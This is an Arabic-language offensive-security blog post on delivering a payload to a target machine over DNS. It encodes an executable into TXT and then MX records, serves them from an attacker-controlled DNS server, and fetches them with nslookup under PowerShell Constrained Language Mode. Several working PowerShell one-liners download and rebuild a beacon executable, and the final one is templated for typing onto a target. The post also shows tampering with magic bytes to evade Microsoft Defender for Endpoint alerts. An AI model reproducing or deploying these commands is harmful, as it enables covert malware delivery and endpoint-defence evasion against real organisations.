
أداة أنفاق DNS باستخدام PowerShell وNslookup لاستخراج البيانات وتوصيل الأحمال عبر سجلات DNS TXT/MX، متجاوزة وضع اللغة المقيدة (Constrained Language Mode) ودفاعات نقاط النهاية.
مستلهمًا من العمل الذي قمت به مؤخرًا والذي تضمن إشارات DNS الخاصة بـ Cobalt Strike، بالإضافة إلى بيان مهمة لمحاولة تجاوز Microsoft Defender for Endpoint، أمضيت بعض الوقت في البحث في كيفية استخدام DNS لنقل حمولة إلى جهاز مستهدف. كما أردت تحدي نفسي بمحاولة القيام بذلك بطريقة ممكنة حتى عند تشغيل PowerShell في وضع Constrained Language Mode. كان هذا البحث موجهًا نحو إصدارات Windows الأحدث (أي Win10+، Server 2019+) ولكن كما سترى لاحقًا قد يكون ممكنًا في إصدارات أقل.
DNS tunneling هي تقنية موجودة منذ فترة طويلة ويستخدمها مجموعة متنوعة من المهاجمين. على المستوى الأساسي، تتضمن استخدام بروتوكول DNS كوسيلة لتسرب البيانات أو كقناة اتصال C2. هناك العديد من منشورات المدونات التي يمكنك الرجوع إليها لمزيد من المعلومات حول هذا الموضوع.
نظرًا لأن هذه تقنية قديمة ومعروفة، فإن العديد من المؤسسات لديها طرق كشف لمنعها.
نوع سجل DNS المفضل لتقنية DNS tunneling تاريخيًا هو TXT. وذلك لأن سجلات TXT يمكنها تخزين بيانات أكثر من السجلات الأخرى كما أنها حساسة لحالة الأحرف، وهو شيء لا تفعله السجلات الأخرى مما قد يؤثر عندما نبدأ الحديث عن الترميز.
Constrained Language Mode (CLM) هو وضع لغة مقيد لـ PowerShell يقلل بشكل كبير من القدرات والوظائف المسموح بها لـ PowerShell. بشكل مختصر، فإن .NET، وكائنات COM، والأدوات المفضلة للمهاجمين مثل (new-object net.webclient).downloadstring... غير متاحة. هذا الرابط يوفر مزيدًا من المعلومات. ستقوم المؤسسات بفرض هذه السياسة للمستخدمين العاديين كجزء من قواعد تقليل سطح الهجوم. وهذا في الواقع يجعل حياتنا أصعب كمهاجمين.
يجب أن يكون معظم الأشخاص على الأقل على دراية سطحية بـ DNS من استخدام أدوات مثل Nslookup. ولكن على المستوى الأساسي، يرسل العميل استعلامًا ويعيد خادم DNS إجابة على ذلك الاستعلام. هناك عدة أنواع مختلفة من سجلات DNS: CNAME، A، AAAA، TXT، MX، وNS على سبيل المثال لا الحصر. يمكن لكل من هذه السجلات تخزين وإرجاع معلومات مختلفة. يتم تكوين هذه السجلات في ملف Zonefile، يتم تقديمه بواسطة خادم DNS.
يظهر مثال على ملف zonefile هنا:``` $ORIGIN example.com. @ 3600 SOA ns1.p30.dynect.net. ( zone-admin.dyndns.com. ; address of responsible party 2016072701 ; serial number 3600 ; refresh period 600 ; retry period 604800 ; expire time 1800 ) ; minimum ttl 86400 NS ns1.p30.dynect.net. 86400 NS ns2.p30.dynect.net. 86400 NS ns3.p30.dynect.net. 86400 NS ns4.p30.dynect.net. 3600 MX 10 mail.example.com. 3600 MX 20 vpn.example.com. 3600 MX 30 mail.example.com. 60 A 204.13.248.106 3600 TXT "v=spf1 includespf.dynect.net ~all" mail 14400 A 204.13.248.106 vpn 60 A 216.146.45.240 webapp 60 A 216.146.46.10 webapp 60 A 216.146.46.11 www 43200 CNAME example.com.
إذا قام شخص ما بالاستعلام عن سجلات NS الخاصة بـ example.com، فسيعيد الاستعلام ns1.p30.dynect.net و ns2.p30.dynect.net و ns3.p30.dynect.net و ns4.p30.dynect.net.
# البحث
## تسجيل اسم النطاق
قبل أن نبدأ، يجب أن نتحدث بإيجاز عن إعداد سجلات DNS للإشارة إلى عنوان IP نتحكم به وسنشغل خادم DNS عليه. كما هو موضح أدناه، اشتريت نطاقًا وقمت بإعداد سجلات DNS تشير إلى النطاق الفرعي "dns" في النطاق الفرعي "ns1" الذي تم تعيين عنوان IP العام للخادم له.

هذا يعني أن أي استعلامات تُجرى لـ "dns.edu....com" سيتم توجيهها إلى "ns1.edu....com" الذي تم تعيين عنوان IP 3..86 له. على عنوان IP هذا سنقوم بإعداد خادم DNS لخدمة سجلاتنا. سنعود إلى هذا لاحقًا.
## البحث عن أداة من جانب العميل
بدأت رحلتي ببحث بسيط في جوجل عن "powershell dns module" والذي أعاد [هذا](https://docs.microsoft.com/en-us/powershell/module/dnsclient/?view=windowsserver2022-ps) الرابط. كان الأمر Resolve-DnsName ذا أهمية خاصة. يبدو أنه بشكل أساسي تطبيق PowerShell للثنائي المعروف Nslookup.exe. لاحظ أنه يمكن طلب أنواع محددة من السجلات:

حسنًا، لدينا وحدة PowerShell قادرة على إجراء استعلامات DNS واسترجاع الإجابة. هل تعمل في وضع اللغة المقيدة (Constrained Language Mode)؟ الإجابة هي نوعًا ما.
كما ترى هنا، إذا فتحت نافذة PowerShell جديدة، وقمت بتشغيل Resolve-DnsName، ووضعت PowerShell في وضع CLM (واختبرت باستدعاء ::WriteLine البسيط)، ثم قمت بتشغيل Resolve-DnsName مرة أخرى، فإنه يعمل دون مشكلة:

ومع ذلك، إذا فتحت نافذة PowerShell جديدة ووضعتها فورًا في CLM ثم حاولت تشغيل Resolve-DnsName، فإنها تفشل:

يبدو أنه إذا تم تحميل وحدة مسبقًا، فإنها تكون قادرة على العمل بعد تطبيق CLM، لكن CLM سيمنع تحميلها إذا لم تكن قد حملت بالفعل. وبالنظر إلى بيئة مستهدفة حيث يتم تطبيق CLM للمستخدمين افتراضيًا (وبدون معرفة ما إذا كانت هناك وحدات معينة محملة مسبقًا أو إذا كان DnsClient واحدًا منها)، اخترت في هذه المرحلة ترك Resolve-DnsName والعودة إلى Nslookup.exe القديم الجيد.

Nslookup.exe هو عنصر أساسي في مجموعة أدوات تكنولوجيا المعلومات وثنائي معروف جدًا يستخدم لأغراض مشروعة. الاحتمالات في صالحنا أنه سيُسمح بتنفيذه حتى في البيئات التي تشكل فيها القائمة البيضاء للتطبيقات مصدر قلق.
سيعيد Nslookup نفس المعلومات تقريبًا مثل استعلام Resolve-DnsName الخاص بنا، وسنضطر فقط إلى التلاعب بها بشكل مختلف قليلاً عندما يحين الوقت.
## تحويل ملف تنفيذي إلى سجلات DNS؟
حسنًا، لدينا وسيلة لإجراء استعلامات DNS على جهاز الضحية. كيف يمكننا توفير الحمولة بتنسيق يمكن لـ Nslookup استرجاعه؟
الملفات التنفيذية هي بالطبع ملفات ثنائية مما يعني أنها غير قابلة للقراءة البشرية. نتيجة لذلك، يجب تحويل البيانات إلى شيء يمكننا وضعه في سجلات DNS ويمكن لأداة مثل Nslookup استرداده. هناك خيارات تشفير عديدة متاحة لنا، لكن الاعتبار الرئيسي هو ما الذي يمكن لجهاز الضحية فك تشفيره باستخدام أدوات Windows الأصلية والإمكانيات المتاحة في CLM فقط؟ Base64 هو الإجابة الواضحة والمتوصل إليها غالبًا.
باستخدام Base64، نحول ملفنا التنفيذي إلى سلسلة نصية كبيرة قابلة للقراءة البشرية يمكن بعد ذلك تقسيمها إلى العديد من سجلات DNS واستعادتها باستخدام Nslookup. على جانب العميل، يمكن استخدام الأداة المعروفة certutil.exe من LOLBAS لفك تشفير Base64 لسجلات DNS المجمعة إلى تنسيق ثنائي.
هذا يتطلب منا التحدث قليلاً عن أنواع سجلات DNS. كل نوع سجل يخزن معلومات معينة بتنسيق معين. على سبيل المثال، تخزن سجلات A وتعيد عنوان IPV4 (111.111.111.111). سجلات AAAA تعيد عنوان IPV6، وسجلات MX و NS تعيد أسماء النطاقات، وسجلات TXT يمكنها إعادة سلاسل نصية بطول 255 حرفًا. كما ذكر سابقًا، نظرًا لطول السجل وحساسية حالة الأحرف، كانت سجلات TXT هي الخيار الواضح للمهاجمين حيث ستكون هناك حاجة لعدد أقل منها وهي متوافقة مع تشفير مثل Base64.
دعنا نرى كيف يبدو هذا.
على جهاز Kali VM الخاص بنا، يمكننا أخذ ملفنا التنفيذي وتشفيره بـ Base64. لاحظ استخدام المفتاح -w 0 الذي سيزيل جميع الأسطر الجديدة بحيث يتبقى لدينا سطر واحد من نص Base64:

النظر إلى الملف يظهر Base64:

نحتاج الآن إلى تحويل هذا الملف المشفر بـ Base64 إلى سجلات DNS TXT التي سيتم تقديمها بواسطة خادم DNS الخاص بنا.
هناك بعض الأشياء التي تعلمتها خلال هذا سألخصها هنا قبل المتابعة:
**1.** عندما تعود سجلات متعددة لاستعلام DNS واحد، لا يوجد ضمان بأنها ستعود "بالترتيب". هذا أمر بالغ الأهمية لأغراضنا، حيث نحتاج إلى إعادة تجميع ملف من جميع سجلات TXT وإذا كانت خارج الترتيب فلن تعمل.
**2.** لا يتم إرجاع السجلات المكررة لاستعلام. على سبيل المثال، في ملف المنطقة الخاص بنا إذا كان لدينا 3 سجلات TXT واثنان منها يحتويان على نفس المعلومات، فعندما نستعلم عن سجلات TXT لهذا النطاق ستعود سجلان فقط حيث يتم إرجاع السجلات الفريدة فقط. بغض النظر عن مشكلة عدم الترتيب، إذا كان لدينا على سبيل المثال أقسام كبيرة من "AAAAA" (كما في الحمولة المشفرة بـ Base64) والتي نحتاج لملء العديد من سجلات TXT بها، فعندما نستعلم عن نطاقنا لسجلات TXT سيعود سجل واحد فقط من سجلات TXT المملوءة بـ "A" حتى لو كان هناك العديد منها في ملف المنطقة.
مع أخذ هذه النقاط في الاعتبار، يجب أن نضمن أن يتم إرجاع سجل TXT واحد فقط لكل استعلام DNS. هنا تأتي النطاقات الفرعية. تمامًا كما سجلنا "dns.edu...com" كنطاق فرعي لـ "edu....com"، يمكننا تقديم سجلات لنطاقات فرعية أخرى (مثل 1.dns.edu....com). يمكننا إنشاء أي عدد من النطاقات الفرعية حسب الحاجة لخدمة جميع سجلات TXT الخاصة بنا.
دعنا ننظر إلى الحمولة المشفرة بـ Base64:

كما ذكر سابقًا، يمكننا وضع 255 حرفًا في كل سجل TXT. قسمة 413,696/255 تعطي 1,623 بعد التقريب لأعلى. هذا عدد كبير من سجلات TXT (وبالتالي عدد كبير من النطاقات الفرعية). ومع ذلك، فهي نقطة انطلاق.
كتبت برنامجًا نصيًا بلغة Python3 لاستيعاب الحمولة المشفرة بـ Base64 وإنشاء ملف منطقة:

سيفتح هذا البرنامج النصي حمولتنا المشفرة بـ Base64 (comp.txt) ويستخدم دالة "chunkstring" (بفضل منشور على Stack Overflow) لتقسيم الملف إلى أجزاء بطول 255 حرفًا والتي سنقوم بعد ذلك بإنشاء سجلات TXT بها. لاحظ أن عناوين IP هنا وهمية/عشوائية وغير ضرورية.
بالنظر إلى ملف المنطقة الناتج نرى سجلات TXT الخاصة بنا:

لاحظ الرقم على الجانب الأيسر الأقصى لكل سجل TXT؛ هذا يدل على النطاق الفرعي.
الآن بعد إنشاء ملف المنطقة، سنحتاج إلى نسخه إلى خادم DNS الخاص بنا ثم تقديمه. لقد استخدمت [CoreDNS](https://github.com/coredns/coredns) لهذا الغرض:

هذا يظهر أنني أقبل الاستعلامات لـ dns.edu....com على المنفذ 53. في ملف Corefile، قمت بتحديد ملف المنطقة الذي تم إنشاؤه في الخطوة السابقة لتقديم السجلات منه. لاختبار أن سجلاتنا تعمل، سنقوم بتشغيل nslookup لسجلات TXT التابعة لـ 1.dns.edu....com:

هذا هو سجل TXT الخاص بنا!
## الهجوم!
نحتاج الآن إلى تشغيل nslookup... 1623 مرة. ليس مثاليًا، لكنه ما سنفعله الآن. سنستخدم هذه العبارة الواحدة في PowerShell لتشغيل nslookup لكل نطاق فرعي ثم تحديد سجل TXT فقط ($temp[5]) وبناء $results أثناء التنفيذ. ثم يتم كتابة $results إلى ./temp.txt، وأخيرًا يتم استخدام certutil لفك تشفير temp.txt إلى custombeacon.exe.```powershell
$results="";for($num = 1; $num -le 1623 ; $num++){$temp = nslookup -type=TXT "$num.dns.edu....com" 2> $null;$temp = $temp[5].replace("`t","").replace("`"","");$results = $results + $temp};$results > ./temp.txt;certutil -decode ./temp.txt ./custombeacon.exe
عند تشغيل الأمر، نرى جميع طلبات DNS على خادم CoreDNS الخاص بنا:

وعلى جهاز العميل، نرى أن أمر Certutil قد نجح:

يتطابق طول مخرجاتنا مع طول ملف EXE الأصلي (ويعمل بشكل صحيح) - ممتاز!

لكن لدينا مشكلة. دعنا نلقي نظرة على لوحة تحكم MDE الخاصة بجهاز المختبر التقييمي لدينا:

هناك 5 تنبيهات هنا نحتاج إلى معالجتها (تجاهل أول تنبيهين "استخدام مشبوه لـ certutil.exe لفك تشفير ملف قابل للتنفيذ" فهما مكرران نتيجة تشغيل سلسلة الهجوم نفسها مرتين أثناء الاختبار).
1. اكتشاف تكوين الشبكة المشبوه - يتعلق هذا باستخدام cmdlet 'Resolve-DnsName' (تم إجراء هذا الاختبار قبل التبديل إلى Nslookup لأسباب منفصلة)

2. أداة هجوم DNS أو نشاط - يتعلق هذا باستخدام سجلات TXT لتسريب بياناتنا

3./4./5. - استخدام مشبوه لـ certutil.exe لفك تشفير ملف قابل للتنفيذ / استخدام ثنائي العيش على الأرض لتشغيل كود خبيث

سنتجاهل هذا التنبيه لأننا سنتحول إلى استخدام Nslookup. سنرى إذا استمر كونه مشكلة. لا أعلم، لكن لدي شعور بأن هذا النوع من التنبيهات قد يتم تجاهله من قبل العديد من المؤسسات بسبب أولويته المنخفضة وسهولة إثارته الظاهرية.
هذا التنبيه يتعلق مرة أخرى باستخدام سجلات TXT لتهريب حمولتنا؛ هذا ليس مفاجئًا للغاية، حيث كانت سجلات TXT هي المفضلة منذ فترة طويلة لهذا النوع من النشاط لسبب وجيه. يبدو أن الحل هنا هو محاولة استخدام نوع سجل بديل، وهو ما سنستكشفه بالتزامن مع ما يلي في التنبيه التالي.
ليس مفاجئًا أيضًا أن يتم وضع علامة على certutil لفك تشفير حمولتنا؛ إنها خدعة قديمة يجب أن تنبه عليها أي مؤسسة محترمة. لكن التنبيه مثير للاهتمام بشكل محدد؛ فهو يسلط الضوء على أنه تم استخدامه لفك تشفير ملف قابل للتنفيذ. قادني هذا إلى التساؤل عما سيحدث إذا قمت بالتلاعب بالبايتات السحرية لحمولتنا قبل ترميزها بـ Base64، ثم مرة أخرى على جانب العميل بعد استخدام certutil لفك تشفيرها. لن أعرض ذلك هنا، لكن هذا نجح بالفعل في تجاوز هذا التنبيه وتمكنت من استخدام certutil لفك تشفير حمولة Base64 ثم إعادة البايتات السحرية إلى MZ بحيث تصبح الحمولة قابلة للتنفيذ، كل ذلك باستخدام وظائف PowerShell الأصلية.
قررت محاولة استخدام سجلات MX بدلاً من سجلات TXT لتهريب الحمولة. تشير هذه التدوينة إلى أن الحد الأقصى لطول اسم DNS صالح هو 255 حرفًا``` (63 letters).(63 letters).(63 letters).(62 letters)
بما أن سجلات MX تعيد اسم نطاق، يجب أن أكون قادرًا على حشو قدر لا بأس به من البيانات في كل ثمانية بتات. بعد بعض الاختبارات، قررت تقصير كل سجل قليلاً ووضع 50 حرفًا فقط في كل ثمانية بتات بمجموع 200 لكل سجل MX.
لكن هناك مشكلة. عندما يتعلق الأمر بسجلات DNS، فإن سجلات TXT وSPF (نوع من سجلات TXT) فقط هي الحساسة لحالة الأحرف. لغة الترميز لدينا، Base64، حساسة لحالة الأحرف. أمضيت بضع ساعات في استكشاف الأخطاء حتى توصلت إلى ذلك، لكن الخلاصة هي أننا إذا كنا سنستخدم Base64 فلا يمكننا استخدام سجلات MX لأن أداة Nslookup ستعيد دائمًا السجلات بأحرف صغيرة مما يكسر ترميزنا.
نحن مضطرون إما إلى إيجاد نوع سجل آخر يكون حساسًا لحالة الأحرف ومتوافقًا مع Base64، أو يجب علينا إيجاد لغة ترميز مختلفة يمكن لـ Windows/PowerShell في وضع CLM فك تشفيرها بشكل أصلي.
بعد بعض [البحث](https://stackoverflow.com/questions/64925863/how-to-use-powershell-to-convert-hex-string-to-bin) وجدت أن PowerShell قادر على تحويل السلسلة السداسية عشرية إلى ثنائي دون استخدام .NET:```powershell
$hex = Get-Content -Path "C:\blah\exe-bank.txt" -Raw
# split the input string by 2-character sequences and prefix '0X' each 2-hex-digit string
# casting the result to [byte[]] then recognizes this hex format directly.
[byte[]]$bytes = ($hex -split '(.{2})' -ne '' -replace '^', '0X')
[System.IO.File]::WriteAllBytes("C:\blah\exe-bank.exe", $bytes)
مع تعديل طفيف لما سبق (تغيير [System.IO.File]... إلى $bytes | set-content....) ينبغي أن يعمل هذا لأغراضنا.
سجلات MX لديها أيضًا قيمة "تفضيل"؛ وهي في الأساس ترتيب للأولوية فيما يتعلق بأي خادم MX يجب استخدامه لنطاق معين. يمكن رؤية ذلك في المثال السابق لملف منطقة حيث القيم "10 20 30" التي تسبق أسماء النطاقات لسجلات MX. يمكننا استخدام قيمة التفضيل هذه لصالحنا من خلال تضمين عدة سجلات MX لكل نطاق فرعي وضمان ترتيب بياناتنا بالترتيب الصحيح عن طريق الفرز حسب قيمة التفضيل. سيسمح لنا ذلك بتقليل عدد المرات التي نستدعي فيها Nslookup بشكل كبير مقارنة عندما كنا نجلب سجلًا واحدًا لكل نطاق فرعي باستخدام سجلات TXT.

كما هو موضح أعلاه، قد تعود السجلات خارج الترتيب، ولكن مع قيمة التفضيل يمكننا إعادة ترتيبها.
لتنفيذ كل هذا، كتبت أولاً نصًا صغيرًا بلغة Python3 لتحويل حمولتنا إلى hex:


ثم عدلت النص الأصلي بلغة Python3 لإنشاء ملف منطقة مع سجلات MX بدلاً من سجلات TXT:

الاختلافات الرئيسية هي أننا الآن نقوم بتقسيم 200 حرف في كل مرة ونخصص 100 سجل MX لكل نطاق فرعي؛ يتم تتبع ذلك بواسطة المتغير j، حيث j في سجل MX هي قيمة التفضيل. تبدأ من 10 للسجل الأول وتزيد بمقدار 10 حتى تصل إلى 1000. عندما تصل j إلى 1010، تعود إلى 10 ويزيد i بمقدار واحد، حيث المتغير i هو النطاق الفرعي المحدد في كل سجل MX.
ينتج هذا النص ملف منطقة مثل هذا (يظهر نهاية ملف المنطقة):

يظهر هنا نطاقان فرعيان (31.dns.edu....com و 32.dns.edu....com) والعديد من السجلات لكل منهما. يمكن تمييز السجلات من خلال قيمة التفضيل التي تلي كل MX (31.dns.edu....com: 960, 970, 980, 990, 1000 و 32.dns.edu....com: 10, 20, 30)
سيتعين علينا تعديل أمر powershell الخاص بنا بشكل كبير ليتوافق مع هذا التنسيق الجديد. لقد عرضت النص في Powershell ISE مع تعليقات لشرح ما يحدث في كل خطوة بشكل أفضل، لكن في الواقع سنقوم بما يلي:
-1. لكل نطاق فرعي
--A تشغيل Nslookup
--B لكل سجل MX يتم إرجاعه بواسطة Nslookup
---a. تحليل بياناتنا فقط وتخزينها في مصفوفة بالترتيب (حسب الفرز بقيمة تفضيل MX)
--C إلحاق كل سلسلة بيانات بسلسلة $results التراكمية

ثم نحتاج إلى أخذ $results وتحويل hex مرة أخرى إلى ثنائي قبل كتابته إلى القرص. هذا هو المكان الذي سنستخدم فيه powershell الموضح سابقًا.
مضغوطًا في سطر واحد نحصل على ما يلي:```powershell $results="";for($num = 1; $num -le 32; $num ++){$a = nslookup -type=MX "$num.dns.edu....com" 2> $null;$arr = New-Object string[] ($a.count - 3);for($i = 3; $i -le $a.count - 1; $i++){$a[$i] -match '= ?(.),' > $null;$temp = $matches[1];$a[$i] -match 'r = ?(.)' > $null;$arr[$temp/10 - 1] = $matches[1].replace(".dns.edu....com","").replace(".","");$matches = $null};Foreach($j in $arr){$results=$results + $j.replace("`n","")}};[byte[]]$bytes = ($results -split '(.{2})' -ne '' -replace '^', '0X');$bytes | set-content -encoding byte .\custombeacon.exe
## المحاولة الثانية
دعنا نشغل أمر PowerShell الخاص بنا على صندوق اختبار MDE المختبري ونرى ما يحدث (نحن في CLM ولكن غير ظاهر):

تنفيذ beacon الخاص بنا (حدث المزيد من السحر في الخلفية هنا لاستخدام beacons DNS)

نتلقى تنبيهًا واحدًا لسلوك "SuspiciousFileDrop" لكنه حُلَّ مع "لم يتم العثور على تهديدات"... المزيد للاستكشاف. لكن جميع التنبيهات المتعلقة بسجلات TXT أو Certutil لفك تشفير ملف تنفيذي قد اختفت.

## خطوة واحدة فقط إلى اليسار...
لم يعجب MDE أن PowerShell كتب الحمولة (payload) الخاصة بنا على القرص. هذا مفهوم؛ الخلاصة أن Nslookup جلب ملفًا تنفيذيًا غير معروف من الإنترنت وحفظه على القرص. كيف يمكننا تخفيف هذا؟
قررت إعادة النظر في وحدات البايت السحرية (magic bytes) للحمولة. كانت نظريتي العاملة هي أنه إذا قمت بتغيير وحدات البايت السحرية للحمولة إلى تلك الخاصة بملف .txt مثلاً وكتبتها على القرص، ثم قرأت هذا الملف في متغير جديد وغيرت وحدات البايت السحرية مرة أخرى إلى MZ (ملف تنفيذي) ثم كتبتها مجددًا على القرص، فقد أتمكن من خداع MDE لأن عملية الإدخال/الإخراج التي تؤدي إلى وصول الملف التنفيذي الوظيفي إلى القرص ستكون ناشئة من ملف .txt موجود بالفعل على القرص بدلاً من بيانات تم جلبها من الإنترنت.
لنجرب ذلك.
يمكننا استخدام VIM لفتح ملفنا التنفيذي على صندوق الهجوم. لاحظ رأس MZ في أول وحدتي بايت اللذين يعلنان أن هذا ملف تنفيذي:

عن طريق إدخال :%!xxd يمكننا تحرير الملف بتنسيق سداسي عشري:

وتغيير أول وحدتي بايت إلى FF FE (علامة ترتيب البايت لـ UTF-16LE، والتي تُرى عادةً في ملفات النصوص كما في https://en.wikipedia.org/wiki/List_of_file_signatures):

يجب علينا الآن إغلاق المحرر السداسي العشري بإدخال :%!xxd -r والذي سيُظهر أن وحدات البايت السحرية لدينا قد تم استبدالها بالفعل:

يمكننا بعد ذلك حفظ الملف والخروج من VIM.
سنقوم مرة أخرى بتحويل حمولتنا إلى سداسي عشري ثم استخدام سكريبت python3 لوضع الحمولة المعدلة في سجلات MX والتي يمكن تقديمها على خادم DNS الخاص بنا.
على جانب العميل، سنحتاج إلى تعديل أمر PowerShell الخاص بنا لإصلاح وحدات البايت السحرية وجعل ملفنا التنفيذي يعمل مرة أخرى. كما ذكرنا، في محاولة للتهرب من تنبيه SuspiciousFileDrop من MDE، سنقوم أولاً بكتابة ملف "txt" الخاص بنا على القرص، ثم سحبه مرة أخرى إلى الذاكرة باستخدام Get-Content. التعديل والإضافة ذو الصلة لأمر PowerShell الخاص بنا هو:```powershell
$bytes | set-content -encoding byte .\out.txt;[byte[]]$readfile = get-content .\out.txt -encoding byte -raw;$readfile[0x00] = 0x4D;$readfile[0x01] = 0x5A;$readfile | set-content .\new.exe -encoding byte
في هذا الأمر، نكتب أولاً الحمولة المحملة (مع بايتات السحر .txt) إلى القرص كـ out.txt، ثم نقرأها في مصفوفة بايت $readfile بعد ذلك يتم ضبط أول بايتين على 0x4D و 0x5A على التوالي، مما يعيد رأس MZ إلى حمولتنا. ثم يتم توجيه $readfile إلى set-content لكتابة حمولتنا الوظيفية إلى القرص كـ new.exe.
لنجرب هذا على جهاز MDE VM الخاص بنا (لاحظ أن الأمر يبدو مختلفًا قليلاً، سيتم معالجة هذا في القسم التالي):

وماذا على لوحة التحكم؟

نجاح!
لقد نجحنا في تنزيل واستعادة حمولتنا إلى تنسيق وظيفي عبر طلبات DNS وأوامر powershell المتوفرة في وضع اللغة المقيدة (Constrained Language Mode). لم ينبه MDE على أي شيء، ولكن ماذا يرى MDE في الواقع؟ الإجابة هي كل شيء.
لنلقي نظرة على الجدول الزمني للأحداث لجهاز الاختبار الخاص بنا، مع تصفية الأحداث التي تتضمن powershell:

في هذه الصورة نرى بعض استدعاءات nslookup.exe التي قامت بها powershell، كل منها أدى إلى حدث "T1016: System Network Configuration Discovery". بالإضافة إلى ذلك نرى "powershell.exe dropped a packed file new.exe" والذي يشير إلى كتابة الملف التنفيذي الوظيفي إلى القرص بعد تغيير بايتات السحر. هذا يؤدي إلى تحريك بعض معرفات الأحداث، أبرزها "T1027.002: Software Packing".
من خلال التصفية على هذه الأحداث قد نتمكن من معرفة مدى شيوع كل منها واحتمالية أن تمتزج إجراءاتنا مع ضجيج الإجراءات العادية على الكمبيوتر.
بالنظر إلى T1016:

نرى جميع استدعاءات nslookup الخاصة بنا، ولكننا نرى أيضًا أحداثًا أخرى تم إنشاؤها بواسطة عمليات مثل WaAppAgent.exe و WindowsAzureGuestAgent.exe. هذه بدورها قامت بتشغيل أشياء مثل ipconfig.exe و arp.exe. لذا، يمكن أن تؤدي عدة ملفات تنفيذية مختلفة إلى تشغيل T1016: System Network Configuration Discovery، وهو أمر جيد بالنسبة لنا في محاولة الطيران تحت الرادار.
بالنظر إلى T1027:

الأخبار أقل جودة هنا. الحدث الوحيد لـ T1027.002: File Packing هو powershell.exe الخاص بنا الذي يسقط حمولتنا إلى القرص. لست متأكدًا تمامًا لماذا يتم تشغيل هذا الحدث بسبب إجراءنا، لكنني لا أعتقد أن له علاقة بطريقة التسلل DNS بقدر ما يتعلق بكتابة ملف تنفيذي إلى القرص. على أي حال، لم يولد هذا تنبيهًا فعليًا، إنه مجرد حدث مسجل.
كم عدد الأحداث المسجلة؟ وكم يتم تصنيف وظائف الكمبيوتر العادية بشكل جيد؟ الإجابات هي "الكثير" و"ليس كثيرًا". أثناء التمرير للعثور على أحداث powershell، صادفت هذا:

هذا بالتأكيد يبدو مريبًا... ما الذي يحدث؟

أوه. إنه فقط Windows Defender ATP يشغل أوامر powershell.
عدد الأحداث التي يسجلها MDE مذهل. طالما أننا لا نقع في مشكلة تنبيه فعلي، لست قلقًا جدًا بشأن اكتشاف إجراءاتنا المسجلة أثناء التحقيقات النشطة ما لم نعطي المدافعين أسبابًا للبحث.
لدينا إثبات مفهوم (POC) يعمل، ولكن حان الوقت لتحسين المنتج. كان لدي ثلاثة أهداف رئيسية هنا:
الأتمتة
الموثوقية
الكفاءة
بدأت بدمج نصوص بايثون التي حولت الملف التنفيذي إلى hex ثم أنشأت ملف zonefile. بعد ذلك، ذهبت وقمت بإزالة جميع المراجع الثابتة لأسماء النطاقات التي ستملأ ملف zonefile؛ هذه الآن تُمرر عبر وسائط سطر الأوامر. ثالثًا، أضفت وظيفة لعمل نسخة من حمولتنا ثم تعديل بايتات السحر؛ هذه النسخة المعدلة هي ما يتم تحويله إلى سجلات MX داخل ملف zonefile الخاص بنا، مما يلغي الحاجة إلى VIM. أخيرًا، يقوم نص بايثون بطباعة الأمر powershell المكون من سطر واحد مع العدد الصحيح من التكرارات لتشغيل nslookup (يعتمد على طول الحمولة) والنطاق الذي يجب تشغيل nslookup ضده. تم رفع هذا النص البرمجي باسم "createzonefile.py".

من أجل زيادة موثوقية الهجوم، أمضيت بعض الوقت في العمل على كيفية إنشاء نص بايثون لسجلات MX. كانت نقطة المشكلة الرئيسية هي آخر سجل MX؛ هذا يحتوي على ما تبقى من الحمولة، حيث أن كل سجل آخر مليء بـ 200 حرف. اعتمادًا على كمية البيانات المتبقية لهذا السجل، قد ينتهي بنا الأمر بثماني بتات (octets) ممتلئة جزئيًا أو كليًا بمقدار واحد أو اثنين أو ثلاثة أو أربعة. وجدت أن nslookup لن يسحب السجلات إذا كان هناك عدد كبير جدًا من النقاط الزائدة "."، كما كان الحال مع نص بايثون البسيط الخاص بنا سابقًا إذا كانت أقل من أربع ثماني بتات تُستخدم بواسطة آخر سجل MX (على سبيل المثال قد يكون السجل "0000000000000000000000.000000.."). تم تنفيذ منطق جديد واختباره لضمان أنه بغض النظر عن حجم الحمولة أو كمية البيانات في آخر سجل MX، سيتم تنسيقه بشكل صحيح ويعمل كما هو متوقع.
تنفيذ الأمر powershell المكون من سطر واحد في نص بايثون هو خطوة أخرى نحو الموثوقية، حيث يضمن تزويدك بالعدد الصحيح من تكرارات nslookup بالإضافة إلى نفس اسم النطاق المحدد في ملف zonefile.
تدور هذه النقطة الأخيرة بشكل رئيسي حول الأمر powershell المكون من سطر واحد. أردت محاولة تقليل طول الأمر قدر الإمكان في حال احتاج المرء إلى كتابته يدويًا على جهاز هدف. قبل حساب النص المضاف لاستبدال بايتات السحر، تمكنت من تقليله بنحو 30٪.
تأتي هذه التوفيرات من عدة أماكن:

أنا متأكد من أنه يمكن فعل المزيد، لكنني بعيد عن إتقان powershell.
الأمر powershell النهائي المحسن المكون من سطر واحد والذي يعيد بايتات السحر MZ ويحذف الملف المؤقت .txt هو:```powershell $o="";for($a = 1; $a -le <NUMBER_OF_SUBDOMAINS>; $a ++){$b = nslookup -type=MX "$a.<YOUR_DOMAIN_HERE>" 2> $null;$c = @($null)*($b.count - 3);for($i = 3; $i -le $b.count - 1; $i++){$d = ($b[$i] | sls -patt '(?<==\s)((\d|\w){1,50}.?){1,4}' -a).matches.Value;$c[$d[0]/10 - 1] = $d[1].replace(".","")};$c.foreach({$o = $o + $_})};[byte[]]$e = ($o -split '(.{2})' -ne '' -replace '^', '0X');$f = ".\a.txt";$e | sc -en byte $f;[byte[]]$g = gc $f -en byte -raw;$g[0x00] = 0x4D;$g[0x01] = 0x5A;$g | sc .\pay.exe -enc byte;ri $f
# أفكار ختامية
قد يكون استخدام DNS لتسلل حمولة خيارًا جذابًا في البيئات شديدة التقييد حيث قد لا تكون الطرق الطبيعية التي تتضمن HTTP/S و/أو طرق أكثر تقليدية قابلة للتطبيق. في مثل هذه البيئة، من المرجح أن تكون العقبة التالية هي تنفيذ حمولتك فعليًا - تجاوز القائمة البيضاء للتطبيقات هو موضوع ربما سأقضي بعض الوقت في التعمق فيه في المستقبل.
شكرًا لأولئك الذين صمدوا معي حتى النهاية. لقد كانت بضعة أيام مزدحمة بينما كنت أستكشف وأطور هذا الموضوع، وبالتأكيد تعلمت بعض الأشياء كما آمل أن تكونوا قد تعلمتم أيضًا.